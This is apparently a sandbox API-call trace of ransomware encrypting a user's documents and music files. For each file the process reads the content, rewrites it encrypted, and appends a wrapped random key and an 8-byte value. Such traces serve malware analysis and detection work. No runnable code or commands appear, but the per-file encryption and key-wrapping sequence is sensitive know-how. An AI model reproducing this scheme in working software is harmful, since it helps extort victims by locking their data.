WriteFile (in: hFile=0x1a24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.838] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.838] CloseHandle (hObject=0x1a24) returned 1 [0176.839] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0176.839] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0176.839] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\9k34\\YOAi8JlowPz_JM\\Y49l3wMFS\\R2sBZrg2 GkV5.pps", dwFileAttributes=0x80) returned 1 [0176.840] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f6a490 [0176.840] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x136) returned 0x56c6b8 [0176.840] ReadFile (in: hFile=0x1a28, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x1603c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x1603c, lpOverlapped=0x0) returned 1 [0176.841] SetFilePointer (in: hFile=0x1a28, lDistanceToMove=-90172, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.841] WriteFile (in: hFile=0x1a28, lpBuffer=0x2ee3010*, nNumberOfBytesToWrite=0x1603c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1603c, lpOverlapped=0x0) returned 1 [0176.841] SetFilePointer (in: hFile=0x1a28, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1603c [0176.842] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.842] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.842] WriteFile (in: hFile=0x1a28, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.842] WriteFile (in: hFile=0x1a28, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.842] CloseHandle (hObject=0x1a28) returned 1 [0176.844] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0176.844] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0176.844] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\9k34\\YOAi8JlowPz_JM\\Y49l3wMFS\\n7ntv.csv", dwFileAttributes=0x80) returned 1 [0176.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67850 [0176.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11e) returned 0x578700 [0176.844] ReadFile (in: hFile=0x1a28, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x88c5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x88c5, lpOverlapped=0x0) returned 1 [0176.845] SetFilePointer (in: hFile=0x1a28, lDistanceToMove=-35013, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.845] WriteFile (in: hFile=0x1a28, lpBuffer=0x30dd900*, nNumberOfBytesToWrite=0x88c5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd900*, lpNumberOfBytesWritten=0x2e1f9bc*=0x88c5, lpOverlapped=0x0) returned 1 [0176.845] SetFilePointer (in: hFile=0x1a28, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x88c5 [0176.845] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.845] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.846] WriteFile (in: hFile=0x1a28, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.846] WriteFile (in: hFile=0x1a28, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.846] CloseHandle (hObject=0x1a28) returned 1 [0176.847] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0176.847] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0176.847] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\9k34\\YOAi8JlowPz_JM\\Y49l3wMFS\\gdpxaE.docx", dwFileAttributes=0x80) returned 1 [0176.848] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67918 [0176.848] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11e) returned 0x578388 [0176.848] ReadFile (in: hFile=0x1a28, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x10c2a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x10c2a, lpOverlapped=0x0) returned 1 [0176.849] SetFilePointer (in: hFile=0x1a28, lDistanceToMove=-68650, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.849] WriteFile (in: hFile=0x1a28, lpBuffer=0x30e5c68*, nNumberOfBytesToWrite=0x10c2a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e5c68*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10c2a, lpOverlapped=0x0) returned 1 [0176.849] SetFilePointer (in: hFile=0x1a28, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10c2a [0176.849] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.849] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.849] WriteFile (in: hFile=0x1a28, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.850] WriteFile (in: hFile=0x1a28, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.850] CloseHandle (hObject=0x1a28) returned 1 [0176.853] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0176.853] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0176.853] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\9k34\\YOAi8JlowPz_JM\\Y49l3wMFS\\bPCPpK SYd90sB2hbTCQ.xls", dwFileAttributes=0x80) returned 1 [0176.854] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f6a7f0 [0176.854] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x136) returned 0x56c6b8 [0176.854] ReadFile (in: hFile=0x1a28, lpBuffer=0x30d5030, nNumberOfBytesToRead=0xfe4d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0xfe4d, lpOverlapped=0x0) returned 1 [0176.855] SetFilePointer (in: hFile=0x1a28, lDistanceToMove=-65101, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.855] WriteFile (in: hFile=0x1a28, lpBuffer=0x30e4e88*, nNumberOfBytesToWrite=0xfe4d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4e88*, lpNumberOfBytesWritten=0x2e1f9bc*=0xfe4d, lpOverlapped=0x0) returned 1 [0176.855] SetFilePointer (in: hFile=0x1a28, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xfe4d [0176.855] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.855] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.855] WriteFile (in: hFile=0x1a28, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.856] WriteFile (in: hFile=0x1a28, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.856] CloseHandle (hObject=0x1a28) returned 1 [0176.857] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0176.857] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0176.857] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\9k34\\YOAi8JlowPz_JM\\Y49l3wMFS\\7m3EAPCJpL.xlsx", dwFileAttributes=0x80) returned 1 [0176.857] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f679e0 [0176.857] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578df0 [0176.857] ReadFile (in: hFile=0x1a28, lpBuffer=0x30d5030, nNumberOfBytesToRead=0xa288, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0xa288, lpOverlapped=0x0) returned 1 [0176.858] SetFilePointer (in: hFile=0x1a28, lDistanceToMove=-41608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.858] WriteFile (in: hFile=0x1a28, lpBuffer=0x30df2c0*, nNumberOfBytesToWrite=0xa288, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df2c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa288, lpOverlapped=0x0) returned 1 [0176.859] SetFilePointer (in: hFile=0x1a28, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa288 [0176.859] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.859] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.859] WriteFile (in: hFile=0x1a28, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.859] WriteFile (in: hFile=0x1a28, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.859] CloseHandle (hObject=0x1a28) returned 1 [0176.861] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0176.861] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0176.861] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\9k34\\YOAi8JlowPz_JM\\Y49l3wMFS\\12nbV.odt", dwFileAttributes=0x80) returned 1 [0176.861] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f66c98 [0176.861] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11e) returned 0x578138 [0176.861] ReadFile (in: hFile=0x1a28, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x17811, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x17811, lpOverlapped=0x0) returned 1 [0176.862] SetFilePointer (in: hFile=0x1a28, lDistanceToMove=-96273, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.862] WriteFile (in: hFile=0x1a28, lpBuffer=0x2ee3010*, nNumberOfBytesToWrite=0x17811, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x17811, lpOverlapped=0x0) returned 1 [0176.863] SetFilePointer (in: hFile=0x1a28, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x17811 [0176.863] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.863] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.863] WriteFile (in: hFile=0x1a28, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.864] WriteFile (in: hFile=0x1a28, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.864] CloseHandle (hObject=0x1a28) returned 1 [0176.865] WriteFile (in: hFile=0x1a2c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0176.866] CloseHandle (hObject=0x1a2c) returned 1 [0176.866] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0176.866] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0176.866] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\4BXh--T\\7EKO9q-8ckl11PMN\\wKuRehDVs.mp3", dwFileAttributes=0x80) returned 1 [0176.866] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f6b2e8 [0176.866] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x136) returned 0x56c6b8 [0176.867] ReadFile (in: hFile=0x1a2c, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x15968, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x15968, lpOverlapped=0x0) returned 1 [0176.868] SetFilePointer (in: hFile=0x1a2c, lDistanceToMove=-88424, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.868] WriteFile (in: hFile=0x1a2c, lpBuffer=0x2ee3010*, nNumberOfBytesToWrite=0x15968, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x15968, lpOverlapped=0x0) returned 1 [0176.868] SetFilePointer (in: hFile=0x1a2c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x15968 [0176.868] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.868] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.868] WriteFile (in: hFile=0x1a2c, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.869] WriteFile (in: hFile=0x1a2c, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.869] CloseHandle (hObject=0x1a2c) returned 1 [0176.871] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0176.871] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0176.871] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\4BXh--T\\7EKO9q-8ckl11PMN\\lb Q4n3gq2uQnf.wav", dwFileAttributes=0x80) returned 1 [0176.871] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30ca518 [0176.871] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x60a970 [0176.871] ReadFile (in: hFile=0x1a2c, lpBuffer=0x30d5030, nNumberOfBytesToRead=0xf8d3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0xf8d3, lpOverlapped=0x0) returned 1 [0176.872] SetFilePointer (in: hFile=0x1a2c, lDistanceToMove=-63699, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.872] WriteFile (in: hFile=0x1a2c, lpBuffer=0x30e4910*, nNumberOfBytesToWrite=0xf8d3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4910*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf8d3, lpOverlapped=0x0) returned 1 [0176.873] SetFilePointer (in: hFile=0x1a2c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf8d3 [0176.873] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.873] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.873] WriteFile (in: hFile=0x1a2c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.873] WriteFile (in: hFile=0x1a2c, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.873] CloseHandle (hObject=0x1a2c) returned 1 [0176.885] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0176.885] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0176.885] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\4BXh--T\\7EKO9q-8ckl11PMN\\GCer6ikag1F-1tbK0Dqq.m4a", dwFileAttributes=0x80) returned 1 [0176.885] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585038 [0176.885] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x618a40 [0176.885] ReadFile (in: hFile=0x1a2c, lpBuffer=0x30d5030, nNumberOfBytesToRead=0xffdc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0xffdc, lpOverlapped=0x0) returned 1 [0176.886] SetFilePointer (in: hFile=0x1a2c, lDistanceToMove=-65500, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.886] WriteFile (in: hFile=0x1a2c, lpBuffer=0x30e5018*, nNumberOfBytesToWrite=0xffdc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e5018*, lpNumberOfBytesWritten=0x2e1f9bc*=0xffdc, lpOverlapped=0x0) returned 1 [0176.887] SetFilePointer (in: hFile=0x1a2c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xffdc [0176.887] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.887] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.887] WriteFile (in: hFile=0x1a2c, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.888] WriteFile (in: hFile=0x1a2c, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.888] CloseHandle (hObject=0x1a2c) returned 1 [0176.891] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0176.891] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0176.891] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\4BXh--T\\7EKO9q-8ckl11PMN\\BNhWWpEZfIIPZiVbz-.wav", dwFileAttributes=0x80) returned 1 [0176.891] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x584f40 [0176.891] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x6188c8 [0176.891] ReadFile (in: hFile=0x1a2c, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x1055d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x1055d, lpOverlapped=0x0) returned 1 [0176.892] SetFilePointer 